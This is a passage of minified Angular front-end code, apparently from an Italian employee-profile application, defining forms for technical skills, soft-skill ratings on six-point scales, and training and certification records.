"),f.Cb(4),f.Kc("",f.ic(18,10,"Rimuovi Lingue Vuote")," "))},directives:[h.l,oe.a,h.m,oe.c,h.n,l.o,l.i,C.a,l.n,l.g,l.c,a.a],pipes:[U.c,h.k],styles:[""]}),e})();var Ve=i("jLjo");const Ue=["skillsSelector"];function _e(e,t){1&e&&f.Qb(0,"i"),2&e&&f.Fb("zmdi zmdi-",t.index<t.value?"favorite":"favorite-outline","")}const Ie=function(e){return["form-control","border-select",e]},ye=function(){return["one","two","three","four","five"]};function xe(e,t){if(1&e){const e=f.Wb();f.Vb(0,"accordion-group",12),f.Vb(1,"button",13),f.Vb(2,"div",14),f.Ic(3),f.Ub(),f.Vb(4,"div",15),f.Vb(5,"span",16),f.Qb(6,"i",17),f.Ub(),f.Vb(7,"span",18),f.cc("click",function(){f.Ac(e);const i=t.index;return f.gc()._form.removeAt(i)}),f.Qb(8,"i",19),f.Ub(),f.Ub(),f.Ub(),f.Vb(9,"div",20),f.Vb(10,"div",21),f.Vb(11,"h3",22),f.Ic(12),f.hc(13,"translate"),f.Ub(),f.Vb(14,"div",6),f.Qb(15,"ng-select",23),f.Ub(),f.Ub(),f.Vb(16,"div",21),f.Vb(17,"h3",22),f.Ic(18),f.hc(19,"translate"),f.Ub(),f.Vb(20,"div",6),f.Qb(21,"ng-select",24),f.Ub(),f.Ub(),f.Vb(22,"div",21),f.Vb(23,"h3",22),f.Ic(24),f.hc(25,"translate"),f.Ub(),f.Vb(26,"div",6),f.Qb(27,"ng-select",25),f.Ub(),f.Ub(),f.Vb(28,"div",21),f.Vb(29,"h3",22),f.Ic(30),f.hc(31,"translate"),f.Ub(),f.Vb(32,"div",6),f.Qb(33,"ng-select",26),f.Ub(),f.Ub(),f.Vb(34,"div",21),f.Vb(35,"h3",22),f.Ic(36),f.hc(37,"translate"),f.Ub(),f.Vb(38,"div",6),f.Qb(39,"rating",27),f.Ub(),f.Ub(),f.Vb(40,"div",21),f.Vb(41,"h3",22),f.Ic(42),f.hc(43,"translate"),f.Ub(),f.Vb(44,"div",6),f.Vb(45,"rating",28),f.Gc(46,_e,1,3,"ng-template",null,29,f.Hc),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub()}if(2&e){const e=t.$implicit,i=f.xc(47),n=f.gc();f.Cb(3),f.Kc(" ",e.controls.skill.value," "),f.Cb(4),f.nc("hidden",!n._isInEdit),f.Cb(2),f.nc("formGroup",e),f.Cb(3),f.Kc("",f.ic(13,26,"Industry")," "),f.Cb(3),f.nc("items",n.options.industryListOpt)("ngClass",f.rc(38,Ie,n.validateField("industry",e,n.isInEdit))),f.Cb(3),f.Kc("",f.ic(19,28,"Macro Area")," "),f.Cb(3),f.nc("items",n.options.macroAreaListOpt)("ngClass",f.rc(40,Ie,n.validateField("macro_area",e,n.isInEdit))),f.Cb(3),f.Kc("",f.ic(25,30,"Categoria")," "),f.Cb(3),f.nc("items",n.options.categoriesOptions)("ngClass",f.rc(42,Ie,n.validateField("category_padre",e,n.isInEdit))),f.Cb(3),f.Kc("",f.ic(31,32,"Sottocategoria")," "),f.Cb(3),f.nc("items",n.options.subCategoriesOptions)("ngClass",f.rc(44,Ie,n.validateField("category_figlio",e,n.isInEdit))),f.Cb(3),f.Kc("",f.ic(37,34,"Rating")," "),f.Cb(3),f.nc("readonly",!n._isInEdit)("max",5)("required",!0)("titles",f.qc(46,ye)),f.Cb(3),f.Kc("",f.ic(43,36,"Esperienza")," "),f.Cb(3),f.nc("readonly",!n._isInEdit)("max",5)("required",!0)("titles",f.qc(47,ye))("customTemplate",i)}}const ze=function(e){return["row",e]},Oe=function(){return["form-control","border-select"]};let we=(()=>{class e extends R.a{constructor(e){super(e,"FormArray",!0)}get newInnerFormItem(){return this.fb.group({industry:[null],macro_area:[null],category_padre:[null],category_figlio:[null],skill:[null],rating:[null],validated_rating:[null]})}insertSkill(e){if(e&&e.name){let t=this.newInnerFormItem;t.controls.macro_area.setValue(e.id_macro_area),t.controls.category_padre.setValue(e.category_parent_id),t.controls.category_figlio.setValue(e.category_id),t.controls.skill.setValue(e.name),this._form.push(t),this.skillsSelector.handleClearClick()}}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employee-view-edit-skills"]],viewQuery:function(e,t){if(1&e&&f.Mc(Ue,1),2&e){let e;f.wc(e=f.dc())&&(t.skillsSelector=e.first)}},features:[f.zb],decls:17,vars:19,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"col-md-12","pl-1"],[1,"form-group"],["bindLabel","name",3,"items","placeholder","readonly","ngClass","addTag","addTagText","change"],["skillsSelector",""],[1,"row"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],["bindLabel","name","bindValue","name","placeholder","","formControlName","industry",3,"items","ngClass"],["bindLabel","name","bindValue","id_macroarea","placeholder","","formControlName","macro_area",3,"items","ngClass"],["bindLabel","name","bindValue","id_category","placeholder","","formControlName","category_padre",3,"items","ngClass"],["bindLabel","name","bindValue","id_category","placeholder","","formControlName","category_figlio",3,"items","ngClass"],["formControlName","rating","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","validated_rating","fullIcon","\u2764","emptyIcon","\uf90d",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles","customTemplate"],["ratingTemplateExperienceSkills",""]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"h4",2),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"div",3),f.Vb(6,"div",4),f.Vb(7,"div",5),f.Vb(8,"div",6),f.Vb(9,"ng-select",7,8),f.cc("change",function(e){return t.insertSkill(e)}),f.hc(11,"translate"),f.hc(12,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(13,"div",9),f.Vb(14,"div",4),f.Vb(15,"accordion",10),f.Gc(16,xe,48,48,"accordion-group",11),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(3),f.Kc(" ",f.ic(4,10,"Skills")," "),f.Cb(2),f.nc("ngClass",f.rc(16,ze,t.rowStyle)),f.Cb(4),f.oc("placeholder",f.ic(11,12,"Seleziona Skills")),f.nc("items",t.options.skillsOptions)("readonly",!t._isInEdit)("ngClass",f.qc(18,Oe))("addTag",!0)("addTagText",f.ic(12,14,"Premi invio per aggiungere il nuovo valore")),f.Cb(6),f.nc("closeOthers","true"),f.Cb(1),f.nc("ngForOf",t._form.controls))},directives:[h.l,C.a,oe.a,h.m,oe.c,l.o,l.i,l.n,l.g,Ve.a,l.u],pipes:[U.c],styles:[""]}),e})();const ke=function(e){return[e]},Fe=function(){return["one","two","three","four","five","six"]};let Ee=(()=>{class e extends R.a{constructor(e){super(e,"FormGroup")}get newInnerFormItem(){return this.fb.group({orientamentoRisultatoOne:[null],orientamentoRisultatoTwo:[null],problemSolvingOne:[null],problemSolvingTwo:[null],problemSolvingTree:[null],orientamentoQualitaOne:[null],orientamentoQualitaTwo:[null],orientamentoQualitaTree:[null],orientamentoClienteOne:[null],orientamentoClienteTwo:[null],orientamentoClienteTree:[null],comunicazioneOne:[null],comunicazioneTwo:[null],comunicazioneTree:[null],adattabilitaCambiamentoOne:[null],adattabilitaCambiamentoTwo:[null],adattabilitaCambiamentoTree:[null],teamWorkingOne:[null],teamWorkingTwo:[null],teamWorkingTree:[null]})}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employee-view-edit-soft-skills"]],features:[f.zb],decls:201,vars:188,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"formGroup","ngClass"],[1,"row","my-4"],[1,"col-md-12"],[1,"card-title"],[1,"row"],[1,"col-md-8"],[1,"card-body__title","mt-3"],[1,"col-md-4","text-center"],[1,"form-group"],["formControlName","orientamentoRisultatoOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoRisultatoTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","problemSolvingOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","problemSolvingTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","problemSolvingTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoQualitaOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoQualitaTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoQualitaTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoClienteOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoClienteTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoClienteTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","comunicazioneOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","comunicazioneTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","comunicazioneTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","adattabilitaCambiamentoOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","adattabilitaCambiamentoTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","adattabilitaCambiamentoTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","teamWorkingOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","teamWorkingTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","teamWorkingTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"h4",2),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"form",3),f.Vb(6,"div",4),f.Vb(7,"div",5),f.Vb(8,"h5",6),f.Ic(9),f.hc(10,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(11,"div",7),f.Vb(12,"div",8),f.Vb(13,"h6",9),f.Ic(14),f.hc(15,"translate"),f.Ub(),f.Ub(),f.Vb(16,"div",10),f.Vb(17,"div",11),f.Qb(18,"rating",12),f.Ub(),f.Ub(),f.Ub(),f.Vb(19,"div",7),f.Vb(20,"div",8),f.Vb(21,"h6",9),f.Ic(22),f.hc(23,"translate"),f.Ub(),f.Ub(),f.Vb(24,"div",10),f.Vb(25,"div",11),f.Qb(26,"rating",13),f.Ub(),f.Ub(),f.Ub(),f.Vb(27,"div",4),f.Vb(28,"div",5),f.Vb(29,"h5",6),f.Ic(30),f.hc(31,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(32,"div",7),f.Vb(33,"div",8),f.Vb(34,"h6",9),f.Ic(35),f.hc(36,"translate"),f.Ub(),f.Ub(),f.Vb(37,"div",10),f.Vb(38,"div",11),f.Qb(39,"rating",14),f.Ub(),f.Ub(),f.Ub(),f.Vb(40,"div",7),f.Vb(41,"div",8),f.Vb(42,"h6",9),f.Ic(43),f.hc(44,"translate"),f.Ub(),f.Ub(),f.Vb(45,"div",10),f.Vb(46,"div",11),f.Qb(47,"rating",15),f.Ub(),f.Ub(),f.Ub(),f.Vb(48,"div",7),f.Vb(49,"div",8),f.Vb(50,"h6",9),f.Ic(51),f.hc(52,"translate"),f.Ub(),f.Ub(),f.Vb(53,"div",10),f.Vb(54,"div",11),f.Qb(55,"rating",16),f.Ub(),f.Ub(),f.Ub(),f.Vb(56,"div",4),f.Vb(57,"div",5),f.Vb(58,"h5",6),f.Ic(59),f.hc(60,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(61,"div",7),f.Vb(62,"div",8),f.Vb(63,"h6",9),f.Ic(64),f.hc(65,"translate"),f.Ub(),f.Ub(),f.Vb(66,"div",10),f.Vb(67,"div",11),f.Qb(68,"rating",17),f.Ub(),f.Ub(),f.Ub(),f.Vb(69,"div",7),f.Vb(70,"div",8),f.Vb(71,"h6",9),f.Ic(72),f.hc(73,"translate"),f.Ub(),f.Ub(),f.Vb(74,"div",10),f.Vb(75,"div",11),f.Qb(76,"rating",18),f.Ub(),f.Ub(),f.Ub(),f.Vb(77,"div",7),f.Vb(78,"div",8),f.Vb(79,"h6",9),f.Ic(80),f.hc(81,"translate"),f.Ub(),f.Ub(),f.Vb(82,"div",10),f.Vb(83,"div",11),f.Qb(84,"rating",19),f.Ub(),f.Ub(),f.Ub(),f.Vb(85,"div",4),f.Vb(86,"div",5),f.Vb(87,"h5",6),f.Ic(88),f.hc(89,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(90,"div",7),f.Vb(91,"div",8),f.Vb(92,"h6",9),f.Ic(93),f.hc(94,"translate"),f.Ub(),f.Ub(),f.Vb(95,"div",10),f.Vb(96,"div",11),f.Qb(97,"rating",20),f.Ub(),f.Ub(),f.Ub(),f.Vb(98,"div",7),f.Vb(99,"div",8),f.Vb(100,"h6",9),f.Ic(101),f.hc(102,"translate"),f.Ub(),f.Ub(),f.Vb(103,"div",10),f.Vb(104,"div",11),f.Qb(105,"rating",21),f.Ub(),f.Ub(),f.Ub(),f.Vb(106,"div",7),f.Vb(107,"div",8),f.Vb(108,"h6",9),f.Ic(109),f.hc(110,"translate"),f.Ub(),f.Ub(),f.Vb(111,"div",10),f.Vb(112,"div",11),f.Qb(113,"rating",22),f.Ub(),f.Ub(),f.Ub(),f.Vb(114,"div",4),f.Vb(115,"div",5),f.Vb(116,"h5",6),f.Ic(117),f.hc(118,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(119,"div",7),f.Vb(120,"div",8),f.Vb(121,"h6",9),f.Ic(122),f.hc(123,"translate"),f.Ub(),f.Ub(),f.Vb(124,"div",10),f.Vb(125,"div",11),f.Qb(126,"rating",23),f.Ub(),f.Ub(),f.Ub(),f.Vb(127,"div",7),f.Vb(128,"div",8),f.Vb(129,"h6",9),f.Ic(130),f.hc(131,"translate"),f.Ub(),f.Ub(),f.Vb(132,"div",10),f.Vb(133,"div",11),f.Qb(134,"rating",24),f.Ub(),f.Ub(),f.Ub(),f.Vb(135,"div",7),f.Vb(136,"div",8),f.Vb(137,"h6",9),f.Ic(138),f.hc(139,"translate"),f.Ub(),f.Ub(),f.Vb(140,"div",10),f.Vb(141,"div",11),f.Qb(142,"rating",25),f.Ub(),f.Ub(),f.Ub(),f.Vb(143,"div",4),f.Vb(144,"div",5),f.Vb(145,"h5",6),f.Ic(146),f.hc(147,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(148,"div",7),f.Vb(149,"div",8),f.Vb(150,"h6",9),f.Ic(151),f.hc(152,"translate"),f.Ub(),f.Ub(),f.Vb(153,"div",10),f.Vb(154,"div",11),f.Qb(155,"rating",26),f.Ub(),f.Ub(),f.Ub(),f.Vb(156,"div",7),f.Vb(157,"div",8),f.Vb(158,"h6",9),f.Ic(159),f.hc(160,"translate"),f.Ub(),f.Ub(),f.Vb(161,"div",10),f.Vb(162,"div",11),f.Qb(163,"rating",27),f.Ub(),f.Ub(),f.Ub(),f.Vb(164,"div",7),f.Vb(165,"div",8),f.Vb(166,"h6",9),f.Ic(167),f.hc(168,"translate"),f.Ub(),f.Ub(),f.Vb(169,"div",10),f.Vb(170,"div",11),f.Qb(171,"rating",28),f.Ub(),f.Ub(),f.Ub(),f.Vb(172,"div",4),f.Vb(173,"div",5),f.Vb(174,"h5",6),f.Ic(175),f.hc(176,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(177,"div",7),f.Vb(178,"div",8),f.Vb(179,"h6",9),f.Ic(180),f.hc(181,"translate"),f.Ub(),f.Ub(),f.Vb(182,"div",10),f.Vb(183,"div",11),f.Qb(184,"rating",29),f.Ub(),f.Ub(),f.Ub(),f.Vb(185,"div",7),f.Vb(186,"div",8),f.Vb(187,"h6",9),f.Ic(188),f.hc(189,"translate"),f.Ub(),f.Ub(),f.Vb(190,"div",10),f.Vb(191,"div",11),f.Qb(192,"rating",30),f.Ub(),f.Ub(),f.Ub(),f.Vb(193,"div",7),f.Vb(194,"div",8),f.Vb(195,"h6",9),f.Ic(196),f.hc(197,"translate"),f.Ub(),f.Ub(),f.Vb(198,"div",10),f.Vb(199,"div",11),f.Qb(200,"rating",31),f.Ub(),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(3),f.Kc(" ",f.ic(4,110,"Soft Skills")," "),f.Cb(2),f.nc("formGroup",t._form)("ngClass",f.rc(166,ke,t.rowStyle)),f.Cb(4),f.Jc(f.ic(10,112,"ORIENTAMENTO AL RISULTATO")),f.Cb(5),f.Jc(f.ic(15,114,"Mantiene una forte focalizzazione sugli obiettivi assegnati, anche nelle difficolt\xe0.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(168,Fe)),f.Cb(4),f.Jc(f.ic(23,116,"Persegue i risultati con impegno e determinazione anche in assenza di continua supervisione.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(169,Fe)),f.Cb(4),f.Jc(f.ic(31,118,"PROBLEM SOLVING E ANALISI")),f.Cb(5),f.Jc(f.ic(36,120,"Fornisce risposte rapide e appropriate di fronte a difficolt\xe0 o situazioni complesse.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(170,Fe)),f.Cb(4),f.Jc(f.ic(44,122,"Quando affronta problemi nuovi effettua una efficace analisi delle variabili in gioco.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(171,Fe)),f.Cb(4),f.Jc(f.ic(52,124,"Anticipa i potenziali problemi, proponendo pro-attivamente soluzioni adeguate ed efficienti prima che essi si verifichino.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(172,Fe)),f.Cb(4),f.Jc(f.ic(60,126,"ORIENTAMENTO ALLA QUALITA")),f.Cb(5),f.Jc(f.ic(65,128,"Presta molta attenzione ai dettagli delle informazioni disponibili.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(173,Fe)),f.Cb(4),f.Jc(f.ic(73,130,"Si assicura che vengano seguite le procedure operative o tecniche.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(174,Fe)),f.Cb(4),f.Jc(f.ic(81,132,"Verifica la qualit\xe0 e precisione del proprio lavoro.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(175,Fe)),f.Cb(4),f.Jc(f.ic(89,134,"ORIENTAMENTO AL CLIENTE")),f.Cb(5),f.Jc(f.ic(94,136,"Identifica correttamente e soddisfa le esigenze del cliente.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(176,Fe)),f.Cb(4),f.Jc(f.ic(102,138,"Anticipa le esigenze inespresse del cliente, consigliandolo sui potenziali bisogni che potrebbe non aver considerato.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(177,Fe)),f.Cb(4),f.Jc(f.ic(110,140,"Si impegna in prima persona a risolvere i problemi e i reclami del cliente, applicando le opportune procedure di escalation quando necessario.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(178,Fe)),f.Cb(4),f.Jc(f.ic(118,142,"COMUNICAZIONE")),f.Cb(5),f.Jc(f.ic(123,144,"Si esprime in modo chiaro e strutturato.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(179,Fe)),f.Cb(4),f.Jc(f.ic(131,146,"Ascolta, si mette nei panni degli altri e mostra comprensione per le loro idee.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(180,Fe)),f.Cb(4),f.Jc(f.ic(139,148,"Riesce ad essere assertivo e a difendere i propri punti di vista mantenendo un atteggiamento rispettoso verso le opinioni altrui.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(181,Fe)),f.Cb(4),f.Jc(f.ic(147,150,"ADATTABILITA AL CAMBIAMENTO")),f.Cb(5),f.Jc(f.ic(152,152,"Accetta e si adatta rapidamente ai cambiamenti (di team, di progetto, di organizzazione).")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(182,Fe)),f.Cb(4),f.Jc(f.ic(160,154,"Considera idee e approcci differenti integrandoli nel proprio agire quotidiano.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(183,Fe)),f.Cb(4),f.Jc(f.ic(168,156,"Sa ricevere feedback e modificare opportunamente i propri comportamenti.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(184,Fe)),f.Cb(4),f.Jc(f.ic(176,158,"TEAM WORKING")),f.Cb(5),f.Jc(f.ic(181,160,"Mostra un approccio collaborativo aiutando il team a risolvere i potenziali problemi.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(185,Fe)),f.Cb(4),f.Jc(f.ic(189,162,"Supporta attivamente gli altri nell\u2019esecuzione degli incarichi assegnati al team.")),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(186,Fe)),f.Cb(4),f.Kc("",f.ic(197,164,"Sa mostrare apprezzamento per i contributi e le idee altrui, partecipa attivamente alle attivit\xe0 di brainstorming del gruppo.")," "),f.Cb(4),f.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",f.qc(187,Fe)))},directives:[l.w,l.o,l.i,h.l,Ve.a,l.n,l.g,l.u],pipes:[U.c],styles:[""]}),e})();function Qe(e,t){if(1&e){const e=f.Wb();f.Vb(0,"span",39),f.cc("click",function(){f.Ac(e);const t=f.gc().index;return f.gc()._form.removeAt(t)}),f.Qb(1,"i",40),f.Ub()}if(2&e){const e=f.gc(2);f.nc("hidden",!e._isInEdit)}}const Se=function(e){return["form-control",e]},Le=function(e){return["form-control","border-select",e]};function Ae(e,t){if(1&e&&(f.Vb(0,"accordion-group",12),f.Vb(1,"button",13),f.Vb(2,"div",14),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Vb(5,"div",15),f.Vb(6,"span",16),f.Qb(7,"i",17),f.Ub(),f.Gc(8,Qe,2,1,"span",18),f.Ub(),f.Ub(),f.Vb(9,"div",19),f.Vb(10,"div",20),f.Vb(11,"div",21),f.Vb(12,"h3",22),f.Ic(13),f.hc(14,"translate"),f.Ub(),f.Vb(15,"div",23),f.Vb(16,"div",24),f.Qb(17,"input",25),f.Qb(18,"i",26),f.Ub(),f.Ub(),f.Qb(19,"i",27),f.Ub(),f.Ub(),f.Vb(20,"div",20),f.Vb(21,"div",21),f.Vb(22,"h3",22),f.Ic(23),f.hc(24,"translate"),f.Ub(),f.Vb(25,"div",23),f.Vb(26,"div",24),f.Qb(27,"input",28),f.Qb(28,"i",26),f.Ub(),f.Ub(),f.Qb(29,"i",27),f.Ub(),f.Ub(),f.Vb(30,"div",29),f.Vb(31,"h3",30),f.Ic(32),f.hc(33,"translate"),f.Ub(),f.Vb(34,"div",21),f.Qb(35,"input",31),f.Qb(36,"i",27),f.Vb(37,"div",32),f.Ic(38),f.hc(39,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(40,"div",29),f.Vb(41,"h3",30),f.Ic(42),f.hc(43,"translate"),f.Ub(),f.Vb(44,"div",21),f.Vb(45,"app-datetime-manager",33),f.cc("modelChange",function(e){return t.$implicit.controls.dataConseguimento.value=e}),f.Ub(),f.Ub(),f.Ub(),f.Vb(46,"div",29),f.Vb(47,"h3",30),f.Ic(48),f.hc(49,"translate"),f.Ub(),f.Vb(50,"div",21),f.Qb(51,"input",34),f.Qb(52,"i",27),f.Vb(53,"div",32),f.Ic(54),f.hc(55,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(56,"div",29),f.Vb(57,"h3",30),f.Ic(58),f.hc(59,"translate"),f.Ub(),f.Vb(60,"div",21),f.Qb(61,"input",35),f.Qb(62,"i",27),f.Vb(63,"div",32),f.Ic(64),f.hc(65,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(66,"div",29),f.Vb(67,"h3",30),f.Ic(68),f.hc(69,"translate"),f.Ub(),f.Vb(70,"div",21),f.Qb(71,"ng-select",36),f.hc(72,"translate"),f.Ub(),f.Ub(),f.Vb(73,"div",29),f.Vb(74,"h3",30),f.Ic(75),f.hc(76,"translate"),f.Ub(),f.Vb(77,"div",21),f.Vb(78,"app-datetime-manager",33),f.cc("modelChange",function(e){return t.$implicit.controls.startDate.value=e}),f.Ub(),f.Ub(),f.Ub(),f.Vb(79,"div",29),f.Vb(80,"h3",30),f.Ic(81),f.hc(82,"translate"),f.Ub(),f.Vb(83,"div",21),f.Vb(84,"app-datetime-manager",33),f.cc("modelChange",function(e){return t.$implicit.controls.endDate.value=e}),f.Ub(),f.Ub(),f.Ub(),f.Vb(85,"div",29),f.Vb(86,"h3",30),f.Ic(87),f.hc(88,"translate"),f.Ub(),f.Vb(89,"div",21),f.Qb(90,"input",37),f.Qb(91,"i",27),f.Ub(),f.Ub(),f.Vb(92,"div",29),f.Vb(93,"h3",30),f.Ic(94),f.hc(95,"translate"),f.Ub(),f.Vb(96,"div",21),f.Qb(97,"input",38),f.Qb(98,"i",27),f.Vb(99,"div",32),f.Ic(100,"{{'L'URL deve essere valida!' | translate}}"),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub()),2&e){const e=t.$implicit,i=t.index,n=f.gc();f.Cb(3),f.Kc(" ",e.controls.name_certification.value?e.controls.name_certification.value:f.ic(4,44,"Formazione")+" #"+(i+1)," "),f.Cb(5),f.nc("ngIf",n._form.length>1),f.Cb(1),f.nc("formGroup",e),f.Cb(4),f.Kc("",f.ic(14,46,"Corso di Formazione")," "),f.Cb(10),f.Kc("",f.ic(24,48,"Certificazione")," "),f.Cb(7),f.nc("hidden",!e.controls.formazione.value),f.Cb(2),f.Kc("",f.ic(33,50,"Titolo della Formazione")," "),f.Cb(3),f.nc("ngClass",f.rc(76,Se,n.validateField("titoloFormazione",e,n.isInEdit))),f.Cb(3),f.Jc(f.ic(39,52,"Il nome certificato \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),f.Cb(2),f.nc("hidden",!e.controls.formazione.value),f.Cb(2),f.Kc("",f.ic(43,54,"Data Conseguimento")," "),f.Cb(3),f.nc("disabled",n._form.disabled)("model",e.controls.dataConseguimento.value)("inputClass",f.rc(78,Se,n.validateField("dataConseguimento",e,n.isInEdit))),f.Cb(1),f.nc("hidden",!e.controls.formazione.value),f.Cb(2),f.Kc("",f.ic(49,56,"Ente Formatore")," "),f.Cb(3),f.nc("ngClass",f.rc(80,Se,n.validateField("enteFormatore",e,n.isInEdit))),f.Cb(3),f.Kc(" ",f.ic(55,58,"LEnte formatore \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),f.Cb(2),f.nc("hidden",!e.controls.certificazione.value),f.Cb(2),f.Kc("",f.ic(59,60,"Nome Certificato")," "),f.Cb(3),f.nc("ngClass",f.rc(82,Se,n.validateField("name_certification",e,n.isInEdit))),f.Cb(3),f.Jc(f.ic(65,62,"Il nome certificato \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),f.Cb(2),f.nc("hidden",!e.controls.certificazione.value),f.Cb(2),f.Kc("",f.ic(69,64,"Organizzazione emittente")," "),f.Cb(3),f.nc("items",n.options.issuersListOpt)("ngClass",f.rc(84,Le,n.validateField("issuer",e,n.isInEdit)))("addTag",!0)("addTagText",f.ic(72,66,"Premi invio per aggiungere il nuovo 